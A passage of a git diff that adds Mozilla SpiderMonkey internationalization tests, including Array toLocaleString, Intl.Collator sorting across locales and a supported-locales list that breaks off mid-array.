-rw-r--r--js/src/tests/test262/intl402/ch09/9.1/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch09/9.2/9.2.1_1.js23
-rw-r--r--js/src/tests/test262/intl402/ch09/9.2/9.2.1_2.js21
-rw-r--r--js/src/tests/test262/intl402/ch09/9.2/9.2.1_3.js87
-rw-r--r--js/src/tests/test262/intl402/ch09/9.2/9.2.1_4.js46
-rw-r--r--js/src/tests/test262/intl402/ch09/9.2/9.2.1_8_c_ii.js30
-rw-r--r--js/src/tests/test262/intl402/ch09/9.2/9.2.1_8_c_vi.js18
-rw-r--r--js/src/tests/test262/intl402/ch09/9.2/9.2.2.js45
-rw-r--r--js/src/tests/test262/intl402/ch09/9.2/9.2.3_5.js22
-rw-r--r--js/src/tests/test262/intl402/ch09/9.2/9.2.5_11_g_ii_2.js26
-rw-r--r--js/src/tests/test262/intl402/ch09/9.2/9.2.5_6.js22
-rw-r--r--js/src/tests/test262/intl402/ch09/9.2/9.2.6_2.js27
-rw-r--r--js/src/tests/test262/intl402/ch09/9.2/9.2.6_4.js23
-rw-r--r--js/src/tests/test262/intl402/ch09/9.2/9.2.6_4_b.js47
-rw-r--r--js/src/tests/test262/intl402/ch09/9.2/9.2.6_4_c.js32
-rw-r--r--js/src/tests/test262/intl402/ch09/9.2/9.2.8_1_c.js36
-rw-r--r--js/src/tests/test262/intl402/ch09/9.2/9.2.8_4.js35
-rw-r--r--js/src/tests/test262/intl402/ch09/9.2/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch09/9.2/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch09/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch09/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch10/10.1/10.1.1_1.js43
-rw-r--r--js/src/tests/test262/intl402/ch10/10.1/10.1.1_10.js18
-rw-r--r--js/src/tests/test262/intl402/ch10/10.1/10.1.1_11.js12
-rw-r--r--js/src/tests/test262/intl402/ch10/10.1/10.1.1_13.js13
-rw-r--r--js/src/tests/test262/intl402/ch10/10.1/10.1.1_19_b.js44
-rw-r--r--js/src/tests/test262/intl402/ch10/10.1/10.1.1_19_c.js63
-rw-r--r--js/src/tests/test262/intl402/ch10/10.1/10.1.1_20.js13
-rw-r--r--js/src/tests/test262/intl402/ch10/10.1/10.1.1_23.js13
-rw-r--r--js/src/tests/test262/intl402/ch10/10.1/10.1.1_6.js12
-rw-r--r--js/src/tests/test262/intl402/ch10/10.1/10.1.1_a.js14
-rw-r--r--js/src/tests/test262/intl402/ch10/10.1/10.1.2.1_4.js21
-rw-r--r--js/src/tests/test262/intl402/ch10/10.1/10.1.2_a.js30
-rw-r--r--js/src/tests/test262/intl402/ch10/10.1/10.1.3.js19
-rw-r--r--js/src/tests/test262/intl402/ch10/10.1/10.1_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch10/10.1/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch10/10.1/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch10/10.2/10.2.1.js22
-rw-r--r--js/src/tests/test262/intl402/ch10/10.2/10.2.2_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch10/10.2/10.2.2_a.js27
-rw-r--r--js/src/tests/test262/intl402/ch10/10.2/10.2.2_b.js13
-rw-r--r--js/src/tests/test262/intl402/ch10/10.2/10.2.3_b.js52
-rw-r--r--js/src/tests/test262/intl402/ch10/10.2/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch10/10.2/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch10/10.3/10.3.1.js13
-rw-r--r--js/src/tests/test262/intl402/ch10/10.3/10.3.2_1_a_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch10/10.3/10.3.2_1_c.js36
-rw-r--r--js/src/tests/test262/intl402/ch10/10.3/10.3.2_CS_a.js68
-rw-r--r--js/src/tests/test262/intl402/ch10/10.3/10.3.2_CS_b_NN.js22
-rw-r--r--js/src/tests/test262/intl402/ch10/10.3/10.3.2_CS_c_NN.js22
-rw-r--r--js/src/tests/test262/intl402/ch10/10.3/10.3.2_CS_d_NN.js34
-rw-r--r--js/src/tests/test262/intl402/ch10/10.3/10.3.2_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch10/10.3/10.3.3.js47
-rw-r--r--js/src/tests/test262/intl402/ch10/10.3/10.3.3_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch10/10.3/10.3_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch10/10.3/10.3_a.js15
-rw-r--r--js/src/tests/test262/intl402/ch10/10.3/10.3_b.js33
-rw-r--r--js/src/tests/test262/intl402/ch10/10.3/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch10/10.3/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch10/10.4/10.4_a.js15
-rw-r--r--js/src/tests/test262/intl402/ch10/10.4/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch10/10.4/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch10/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch10/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch11/11.1/11.1.1_1.js43
-rw-r--r--js/src/tests/test262/intl402/ch11/11.1/11.1.1_15.js13
-rw-r--r--js/src/tests/test262/intl402/ch11/11.1/11.1.1_17.js81
-rw-r--r--js/src/tests/test262/intl402/ch11/11.1/11.1.1_19.js31
-rw-r--r--js/src/tests/test262/intl402/ch11/11.1/11.1.1_20_c.js196
-rw-r--r--js/src/tests/test262/intl402/ch11/11.1/11.1.1_21.js15
-rw-r--r--js/src/tests/test262/intl402/ch11/11.1/11.1.1_32.js44
-rw-r--r--js/src/tests/test262/intl402/ch11/11.1/11.1.1_34.js12
-rw-r--r--js/src/tests/test262/intl402/ch11/11.1/11.1.1_6.js18
-rw-r--r--js/src/tests/test262/intl402/ch11/11.1/11.1.1_7.js12
-rw-r--r--js/src/tests/test262/intl402/ch11/11.1/11.1.1_a.js18
-rw-r--r--js/src/tests/test262/intl402/ch11/11.1/11.1.2.1_4.js21
-rw-r--r--js/src/tests/test262/intl402/ch11/11.1/11.1.2.js30
-rw-r--r--js/src/tests/test262/intl402/ch11/11.1/11.1.3.js19
-rw-r--r--js/src/tests/test262/intl402/ch11/11.1/11.1_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch11/11.1/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch11/11.1/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch11/11.2/11.2.1.js22
-rw-r--r--js/src/tests/test262/intl402/ch11/11.2/11.2.2_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch11/11.2/11.2.2_a.js28
-rw-r--r--js/src/tests/test262/intl402/ch11/11.2/11.2.2_b.js13
-rw-r--r--js/src/tests/test262/intl402/ch11/11.2/11.2.3_b.js46
-rw-r--r--js/src/tests/test262/intl402/ch11/11.2/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch11/11.2/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch11/11.3/11.3.1.js14
-rw-r--r--js/src/tests/test262/intl402/ch11/11.3/11.3.2_1_a_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch11/11.3/11.3.2_1_a_ii.js27
-rw-r--r--js/src/tests/test262/intl402/ch11/11.3/11.3.2_1_c.js41
-rw-r--r--js/src/tests/test262/intl402/ch11/11.3/11.3.2_FN_1.js19
-rw-r--r--js/src/tests/test262/intl402/ch11/11.3/11.3.2_FN_2.js59
-rw-r--r--js/src/tests/test262/intl402/ch11/11.3/11.3.2_FN_3_b.js27
-rw-r--r--js/src/tests/test262/intl402/ch11/11.3/11.3.2_FN_3_e.js47
-rw-r--r--js/src/tests/test262/intl402/ch11/11.3/11.3.2_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch11/11.3/11.3.2_TRF.js56
-rw-r--r--js/src/tests/test262/intl402/ch11/11.3/11.3.2_TRP.js56
-rw-r--r--js/src/tests/test262/intl402/ch11/11.3/11.3.3.js31
-rw-r--r--js/src/tests/test262/intl402/ch11/11.3/11.3.3_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch11/11.3/11.3_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch11/11.3/11.3_a.js16
-rw-r--r--js/src/tests/test262/intl402/ch11/11.3/11.3_b.js33
-rw-r--r--js/src/tests/test262/intl402/ch11/11.3/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch11/11.3/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch11/11.4/11.4_a.js15
-rw-r--r--js/src/tests/test262/intl402/ch11/11.4/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch11/11.4/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch11/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch11/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch12/12.1/12.1.1_1.js43
-rw-r--r--js/src/tests/test262/intl402/ch12/12.1/12.1.1_18.js15
-rw-r--r--js/src/tests/test262/intl402/ch12/12.1/12.1.1_22.js18
-rw-r--r--js/src/tests/test262/intl402/ch12/12.1/12.1.1_23.js14
-rw-r--r--js/src/tests/test262/intl402/ch12/12.1/12.1.1_25.js12
-rw-r--r--js/src/tests/test262/intl402/ch12/12.1/12.1.1_5.js18
-rw-r--r--js/src/tests/test262/intl402/ch12/12.1/12.1.1_6.js12
-rw-r--r--js/src/tests/test262/intl402/ch12/12.1/12.1.1_TDTO.js107
-rw-r--r--js/src/tests/test262/intl402/ch12/12.1/12.1.1_a.js18
-rw-r--r--js/src/tests/test262/intl402/ch12/12.1/12.1.2.1_4.js21
-rw-r--r--js/src/tests/test262/intl402/ch12/12.1/12.1.2.js30
-rw-r--r--js/src/tests/test262/intl402/ch12/12.1/12.1.3.js19
-rw-r--r--js/src/tests/test262/intl402/ch12/12.1/12.1_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch12/12.1/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch12/12.1/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch12/12.2/12.2.1.js22
-rw-r--r--js/src/tests/test262/intl402/ch12/12.2/12.2.2_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch12/12.2/12.2.2_a.js28
-rw-r--r--js/src/tests/test262/intl402/ch12/12.2/12.2.2_b.js13
-rw-r--r--js/src/tests/test262/intl402/ch12/12.2/12.2.3_b.js47
-rw-r--r--js/src/tests/test262/intl402/ch12/12.2/12.2.3_c.js52
-rw-r--r--js/src/tests/test262/intl402/ch12/12.2/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch12/12.2/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch12/12.3/12.3.1.js14
-rw-r--r--js/src/tests/test262/intl402/ch12/12.3/12.3.2_1_a_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch12/12.3/12.3.2_1_c.js34
-rw-r--r--js/src/tests/test262/intl402/ch12/12.3/12.3.2_FDT_1.js26
-rw-r--r--js/src/tests/test262/intl402/ch12/12.3/12.3.2_FDT_7_a_iv.js32
-rw-r--r--js/src/tests/test262/intl402/ch12/12.3/12.3.2_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch12/12.3/12.3.2_TLT_2.js16
-rw-r--r--js/src/tests/test262/intl402/ch12/12.3/12.3.3.js52
-rw-r--r--js/src/tests/test262/intl402/ch12/12.3/12.3.3_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch12/12.3/12.3_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch12/12.3/12.3_a.js16
-rw-r--r--js/src/tests/test262/intl402/ch12/12.3/12.3_b.js33
-rw-r--r--js/src/tests/test262/intl402/ch12/12.3/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch12/12.3/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch12/12.4/12.4_a.js15
-rw-r--r--js/src/tests/test262/intl402/ch12/12.4/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch12/12.4/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch12/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch12/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch13/13.1/13.1.1_1.js24
-rw-r--r--js/src/tests/test262/intl402/ch13/13.1/13.1.1_2.js26
-rw-r--r--js/src/tests/test262/intl402/ch13/13.1/13.1.1_3_1.js26
-rw-r--r--js/src/tests/test262/intl402/ch13/13.1/13.1.1_3_2.js22
-rw-r--r--js/src/tests/test262/intl402/ch13/13.1/13.1.1_6_1.js65
-rw-r--r--js/src/tests/test262/intl402/ch13/13.1/13.1.1_6_2.js13
-rw-r--r--js/src/tests/test262/intl402/ch13/13.1/13.1.1_7.js33
-rw-r--r--js/src/tests/test262/intl402/ch13/13.1/13.1.1_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch13/13.1/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch13/13.1/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch13/13.2/13.2.1_1.js37
-rw-r--r--js/src/tests/test262/intl402/ch13/13.2/13.2.1_4_1.js67
-rw-r--r--js/src/tests/test262/intl402/ch13/13.2/13.2.1_4_2.js13
-rw-r--r--js/src/tests/test262/intl402/ch13/13.2/13.2.1_5.js41
-rw-r--r--js/src/tests/test262/intl402/ch13/13.2/13.2.1_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch13/13.2/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch13/13.2/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch13/13.3/13.3.0_1.js32
-rw-r--r--js/src/tests/test262/intl402/ch13/13.3/13.3.0_2.js26
-rw-r--r--js/src/tests/test262/intl402/ch13/13.3/13.3.0_6_1.js74
-rw-r--r--js/src/tests/test262/intl402/ch13/13.3/13.3.0_6_2.js15
-rw-r--r--js/src/tests/test262/intl402/ch13/13.3/13.3.0_7.js58
-rw-r--r--js/src/tests/test262/intl402/ch13/13.3/13.3.1_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch13/13.3/13.3.2_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch13/13.3/13.3.3_L15.js14
-rw-r--r--js/src/tests/test262/intl402/ch13/13.3/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch13/13.3/shell.js0
-rw-r--r--js/src/tests/test262/intl402/ch13/browser.js0
-rw-r--r--js/src/tests/test262/intl402/ch13/shell.js0
-rw-r--r--js/src/tests/test262/intl402/shell.js10
-rw-r--r--js/src/tests/test262/shell.js940
-rwxr-xr-xjs/src/tests/update-test262.sh144
-rwxr-xr-xjs/src/tests/user.js36
8097 files changed, 648660 insertions, 0 deletions
diff --git a/js/src/tests/Intl/Array/shell.js b/js/src/tests/Intl/Array/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/Intl/Array/shell.js
diff --git a/js/src/tests/Intl/Array/toLocaleString-date.js b/js/src/tests/Intl/Array/toLocaleString-date.js
new file mode 100644
index 000000000..7711c6064
--- /dev/null
+++ b/js/src/tests/Intl/Array/toLocaleString-date.js
@@ -0,0 +1,53 @@
+if (typeof Intl === "object") {
+ const localeSep = [,,].toLocaleString();
+
+ const date = new Date(Date.UTC(2012, 11, 12, 3, 0, 0));
+
+ assertEq([date].toLocaleString("en-us", {timeZone: "UTC"}), "12/12/2012, 3:00:00 AM");
+ assertEq([date].toLocaleString(["de", "en"], {timeZone: "UTC"}), "12.12.2012, 03:00:00");
+ assertEq([date].toLocaleString("th-th", {timeZone: "UTC"}), "12/12/2555 03:00:00");
+ assertEq([date].toLocaleString("th-th-u-nu-thai", {timeZone: "UTC"}), "๑๒/๑๒/๒๕๕๕ ๐๓:๐๐:๐๐");
+
+ const sampleValues = [
+ date, new Date(0),
+ ];
+ const sampleLocales = [
+ void 0,
+ "en",
+ "th-th-u-nu-thai",
+ "ja-jp",
+ "ar-ma-u-ca-islamicc",
+ ["tlh", "de"],
+ ];
+ const numericFormatOptions = {
+ timeZone: "UTC",
+ year: "numeric", month: "numeric", day: "numeric",
+ hour: "numeric", minute: "numeric", second: "numeric",
+ };
+ const longFormatOptions = {
+ timeZone: "UTC",
+ year: "numeric", month: "long", day: "numeric",
+ hour: "numeric", minute: "numeric", second: "numeric"
+ };
+ const sampleOptions = [
+ {timeZone: "UTC"},
+ longFormatOptions,
+ ];
+
+ for (let locale of sampleLocales) {
+ for (let options of sampleOptions) {
+ let dtfOptions;
+ if (options === longFormatOptions) {
+ dtfOptions = longFormatOptions;
+ } else {
+ dtfOptions = numericFormatOptions;
+ }
+ let dtf = new Intl.DateTimeFormat(locale, dtfOptions);
+ let expected = sampleValues.map(dtf.format).join(localeSep);
+ assertEq(sampleValues.toLocaleString(locale, options), expected);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/Intl/Array/toLocaleString-number.js b/js/src/tests/Intl/Array/toLocaleString-number.js
new file mode 100644
index 000000000..6ca8a1783
--- /dev/null
+++ b/js/src/tests/Intl/Array/toLocaleString-number.js
@@ -0,0 +1,34 @@
+if (typeof Intl === "object") {
+ const localeSep = [,,].toLocaleString();
+
+ assertEq([NaN].toLocaleString("ar"), "ليس رقم");
+ assertEq([NaN].toLocaleString(["zh-hant", "ar"]), "非數值");
+ assertEq([Infinity].toLocaleString("dz"), "གྲངས་མེད");
+ assertEq([-Infinity].toLocaleString(["fr", "en"]), "-∞");
+
+ const sampleValues = [
+ -0, +0, -1, +1, -2, +2, -0.5, +0.5,
+ ];
+ const sampleLocales = [
+ void 0,
+ "en",
+ "th-th-u-nu-thai",
+ ["tlh", "de"],
+ ];
+ const sampleOptions = [
+ void 0,
+ {},
+ {style: "percent"},
+ {style: "currency", currency: "USD", minimumIntegerDigits: 4},
+ ];
+ for (let locale of sampleLocales) {
+ for (let options of sampleOptions) {
+ let nf = new Intl.NumberFormat(locale, options);
+ let expected = sampleValues.map(nf.format).join(localeSep);
+ assertEq(sampleValues.toLocaleString(locale, options), expected);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/Intl/Array/toLocaleString.js b/js/src/tests/Intl/Array/toLocaleString.js
new file mode 100644
index 000000000..f94e531f8
--- /dev/null
+++ b/js/src/tests/Intl/Array/toLocaleString.js
@@ -0,0 +1,35 @@
+if (typeof Intl === "object") {
+ const localeSep = [,,].toLocaleString();
+
+ // Missing arguments are passed as |undefined|.
+ const objNoArgs = {
+ toLocaleString() {
+ assertEq(arguments.length, 2);
+ assertEq(arguments[0], undefined);
+ assertEq(arguments[1], undefined);
+ return "pass";
+ }
+ };
+ // - Single element case.
+ assertEq([objNoArgs].toLocaleString(), "pass");
+ // - More than one element.
+ assertEq([objNoArgs, objNoArgs].toLocaleString(), "pass" + localeSep + "pass");
+
+ // Ensure "locales" and "options" arguments are passed to the array elements.
+ const locales = {}, options = {};
+ const objWithArgs = {
+ toLocaleString() {
+ assertEq(arguments.length, 2);
+ assertEq(arguments[0], locales);
+ assertEq(arguments[1], options);
+ return "pass";
+ }
+ };
+ // - Single element case.
+ assertEq([objWithArgs].toLocaleString(locales, options), "pass");
+ // - More than one element.
+ assertEq([objWithArgs, objWithArgs].toLocaleString(locales, options), "pass" + localeSep + "pass");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/Intl/Collator/browser.js b/js/src/tests/Intl/Collator/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/Intl/Collator/browser.js
diff --git a/js/src/tests/Intl/Collator/compare.js b/js/src/tests/Intl/Collator/compare.js
new file mode 100644
index 000000000..9279b85f7
--- /dev/null
+++ b/js/src/tests/Intl/Collator/compare.js
@@ -0,0 +1,129 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the compare function with a diverse set of locales and options.
+
+var input = [
+ "Argentina",
+ "Oerlikon",
+ "Offenbach",
+ "Sverige",
+ "Vaticano",
+ "Zimbabwe",
+ "la France",
+ "¡viva España!",
+ "Österreich",
+ "中国",
+ "日本",
+ "한국",
+];
+
+var collator, expected;
+
+function assertEqualArray(actual, expected, collator) {
+ var description = JSON.stringify(collator.resolvedOptions());
+ assertEq(actual.length, expected.length, "array length, " + description);
+ for (var i = 0; i < actual.length; i++) {
+ assertEq(actual[i], expected[i], "element " + i + ", " + description);
+ }
+}
+
+
+// Locale en-US; default options.
+collator = new Intl.Collator("en-US");
+expected = [
+ "¡viva España!",
+ "Argentina",
+ "la France",
+ "Oerlikon",
+ "Offenbach",
+ "Österreich",
+ "Sverige",
+ "Vaticano",
+ "Zimbabwe",
+ "한국",
+ "中国",
+ "日本",
+];
+assertEqualArray(input.sort(collator.compare), expected, collator);
+
+// Locale sv-SE; default options.
+// Swedish treats "Ö" as a separate character, which sorts after "Z".
+collator = new Intl.Collator("sv-SE");
+expected = [
+ "¡viva España!",
+ "Argentina",
+ "la France",
+ "Oerlikon",
+ "Offenbach",
+ "Sverige",
+ "Vaticano",
+ "Zimbabwe",
+ "Österreich",
+ "한국",
+ "中国",
+ "日本",
+];
+assertEqualArray(input.sort(collator.compare), expected, collator);
+
+// Locale sv-SE; ignore punctuation.
+collator = new Intl.Collator("sv-SE", {ignorePunctuation: true});
+expected = [
+ "Argentina",
+ "la France",
+ "Oerlikon",
+ "Offenbach",
+ "Sverige",
+ "Vaticano",
+ "¡viva España!",
+ "Zimbabwe",
+ "Österreich",
+ "한국",
+ "中国",
+ "日本",
+];
+assertEqualArray(input.sort(collator.compare), expected, collator);
+
+// Locale de-DE; default options.
+// In German standard sorting, umlauted characters are treated as variants
+// of their base characters: ä ≅ a, ö ≅ o, ü ≅ u.
+collator = new Intl.Collator("de-DE");
+expected = [
+ "¡viva España!",
+ "Argentina",
+ "la France",
+ "Oerlikon",
+ "Offenbach",
+ "Österreich",
+ "Sverige",
+ "Vaticano",
+ "Zimbabwe",
+ "한국",
+ "中国",
+ "日本",
+];
+assertEqualArray(input.sort(collator.compare), expected, collator);
+
+// Locale de-DE; phonebook sort order.
+// In German phonebook sorting, umlauted characters are expanded to two-vowel
+// sequences: ä → ae, ö → oe, ü → ue.
+collator = new Intl.Collator("de-DE-u-co-phonebk");
+expected = [
+ "¡viva España!",
+ "Argentina",
+ "la France",
+ "Oerlikon",
+ "Österreich",
+ "Offenbach",
+ "Sverige",
+ "Vaticano",
+ "Zimbabwe",
+ "한국",
+ "中国",
+ "日本",
+];
+assertEqualArray(input.sort(collator.compare), expected, collator);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/Intl/Collator/shell.js b/js/src/tests/Intl/Collator/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/Intl/Collator/shell.js
diff --git a/js/src/tests/Intl/Collator/supportedLocalesOf.js b/js/src/tests/Intl/Collator/supportedLocalesOf.js
new file mode 100644
index 000000000..7fbebca09
--- /dev/null
+++ b/js/src/tests/Intl/Collator/supportedLocalesOf.js
@@ -0,0 +1,355 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||xulRuntime.shell)
+// -- test in browser only that ICU has locale data for all Mozilla languages
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// This array contains the locales that ICU supports in
+// collation whose languages Mozilla localizes Firefox into.
+// Current as of ICU 50.1.2 and Firefox March 2013.
+var locales = [
+ "af",
+ "af-NA",
+ "af-ZA",
+ "ar",
+ "ar-001",
+ "ar-AE",
+ "ar-BH",
+ "ar-DJ",
+ "ar-DZ",
+ "ar-EG",
+ "ar-EH",
+ "ar-ER",
+ "ar-IL",
+ "ar-IQ",
+ "ar-JO",
+ "ar-KM",
+ "ar-KW",
+ "ar-LB",
+ "ar-LY",
+ "ar-MA",
+ "ar-MR",
+ "ar-OM",
+ "ar-PS",
+ "ar-QA",
+ "ar-SA",
+ "ar-SD",
+ "ar-SO",
+ "ar-SY",
+ "ar-TD",
+ "ar-TN",
+ "ar-YE",
+ "as",
+ "as-IN",
+ "be",
+ "be-BY",
+ "bg",
+ "bg-BG",
+ "bn",
+ "bn-BD",
+ "bn-IN",
+ "bs",
+ "bs-Cyrl",
+ "bs-Cyrl-BA",
+ "bs-Latn",
+ "bs-Latn-BA",
+ "ca",
+ "ca-AD",
+ "ca-ES",
+ "cs",
+ "cs-CZ",
+ "cy",
+ "cy-GB",
+ "da",
+ "da-DK",
+ "de",
+ "de-AT",
+ "de-BE",
+ "de-CH",
+ "de-DE",
+ "de-LI",
+ "de-LU",
+ "el",
+ "el-CY",
+ "el-GR",
+ "en",
+ "en-150",
+ "en-AG",
+ "en-AS",
+ "en-AU",
+ "en-BB",
+ "en-BE",
+ "en-BM",
+ "en-BS",
+ "en-BW",
+ "en-BZ",
+ "en-CA",
+ "en-CM",
+ "en-DM",
+ "en-FJ",
+ "en-FM",
+ "en-GB",
+ "en-GD",
+ "en-GG",
+ "en-GH",
+ "en-GI",
+ "en-GM",
+ "en-GU",
+ "en-HK",
+ "en-IE",
+ "en-IM",
+ "en-IN",
+ "en-JE",
+ "en-JM",
+ "en-KE",
+ "en-KI",
+ "en-KN",
+ "en-KY",
+ "en-LC",
+ "en-LR",
+ "en-LS",
+ "en-MG",
+ "en-MH",
+ "en-MP",
+ "en-MT",
+ "en-MU",
+ "en-MW",
+ "en-NA",
+ "en-NG",
+ "en-NZ",
+ "en-PG",
+ "en-PH",
+ "en-PK",
+ "en-PR",
+ "en-PW",
+ "en-SB",
+ "en-SC",
+ "en-SG",
+ "en-SL",
+ "en-SS",
+ "en-TC",
+ "en-TO",
+ "en-TT",
+ "en-TZ",
+ "en-UG",
+ "en-UM",
+ "en-US",
+ "en-US-POSIX",
+ "en-VC",
+ "en-VG",
+ "en-VI",
+ "en-VU",
+ "en-WS",
+ "en-ZA",
+ "en-ZM",
+ "en-ZW",
+ "eo",
+ "es",
+ "es-419",
+ "es-AR",
+ "es-BO",
+ "es-CL",
+ "es-CO",
+ "es-CR",
+ "es-CU",
+ "es-DO",
+ "es-EA",
+ "es-EC",
+ "es-ES",
+ "es-GQ",
+ "es-GT",
+ "es-HN",
+ "es-IC",
+ "es-MX",
+ "es-NI",
+ "es-PA",
+ "es-PE",
+ "es-PH",
+ "es-PR",
+ "es-PY",
+ "es-SV",
+ "es-US",
+ "es-UY",
+ "es-VE",
+ "et",
+ "et-EE",
+ "fa",
+ "fa-AF",
+ "fa-IR",
+ "fi",
+ "fi-FI",
+ "fr",
+ "fr-BE",
+ "fr-BF",
+ "fr-BI",
+ "fr-BJ",
+ "fr-BL",
+ "fr-CA",
+ "fr-CD",
+ "fr-CF",
+ "fr-CG",
+ "fr-CH",
+ "fr-CI",
+ "fr-CM",
+ "fr-DJ",
+ "fr-DZ",
+ "fr-FR",
+ "fr-GA",
+ "fr-GN",
+ "fr-GP",
+ "fr-GQ",
+ "fr-HT",
+ "fr-KM",
+ "fr-LU",
+ "fr-MA",
+ "fr-MC",
+ "fr-MF",
+ "fr-MG",
+ "fr-ML",
+ "fr-MQ",
+ "fr-MR",
+ "fr-MU",
+ "fr-NC",
+ "fr-NE",
+ "fr-PF",
+ "fr-RE",
+ "fr-RW",
+ "fr-SC",
+ "fr-SN",
+ "fr-SY",
+ "fr-TD",
+ "fr-TG",
+ "fr-TN",
+ "fr-VU",
+ "ga",
+ "ga-IE",
+ "gu",
+ "gu-IN",
+ "he",
+ "he-IL",
+ "hi",
+ "hi-IN",
+ "hr",
+ "hr-BA",
+ "hr-HR",
+ "hu",
+ "hu-HU",
+ "hy",
+ "hy-AM",
+ "id",
+ "id-ID",
+ "is",
+ "is-IS",
+ "it",
+ "it-CH",
+ "it-IT",
+ "it-SM",
+ "ja",
+ "ja-JP",
+ "kk",
+ "kk-KZ",
+ "km",
+ "km-KH",
+ "kn",
+ "kn-IN",
+ "ko",
+ "ko-KP",
+ "ko-KR",
+ "lt",
+ "lt-LT",
+ "lv",
+ "lv-LV",
+ "mk",
+ "mk-MK",
+ "ml",
+ "ml-IN",
+ "mr",
+ "mr-IN",
+ "nb",
+ "nb-NO",
+ "nl",
+ "nl-AW",
+ "nl-BE",
+ "nl-CW",
+ "nl-NL",
+ "nl-SR",
+ "nl-SX",
+ "nn",
+ "nn-NO",
+ "or",
+ "or-IN",
+ "pa",
+ "pa-Arab",
+ "pa-Arab-PK",
+ "pa-Guru",
+ "pa-Guru-IN",
+ "pl",
+ "pl-PL",
+ "pt",
+ "pt-AO",
+ "pt-BR",
+ "pt-CV",
+ "pt-GW",
+ "pt-MO",
+ "pt-MZ",
+ "pt-PT",
+ "pt-ST",
+ "pt-TL",
+ "ro",
+ "ro-MD",
+ "ro-RO",
+ "ru",
+ "ru-BY",
+ "ru-KG",
+ "ru-KZ",
+ "ru-MD",
+ "ru-RU",
+ "ru-UA",
+ "si",
+ "si-LK",
+ "sk",
+ "sk-SK",
+ "sl",
+ "sl-SI",
+ "sq",
+ "sq-AL",
+ "sq-MK",
+ "sr",
+ "sr-Cyrl",
+ "sr-Cyrl-BA",
+ "sr-Cyrl-ME",
+ "sr-Cyrl-RS",
+ "sr-Latn",
+ "sr-Latn-BA",
+ "sr-Latn-ME",
+ "sr-Latn-RS",
+ "sv",
+ "sv-AX",
+ "sv-FI",
+ "sv-SE",
+ "te",
+ "te-IN",
+ "th",
+ "th-TH",
+ "tr",
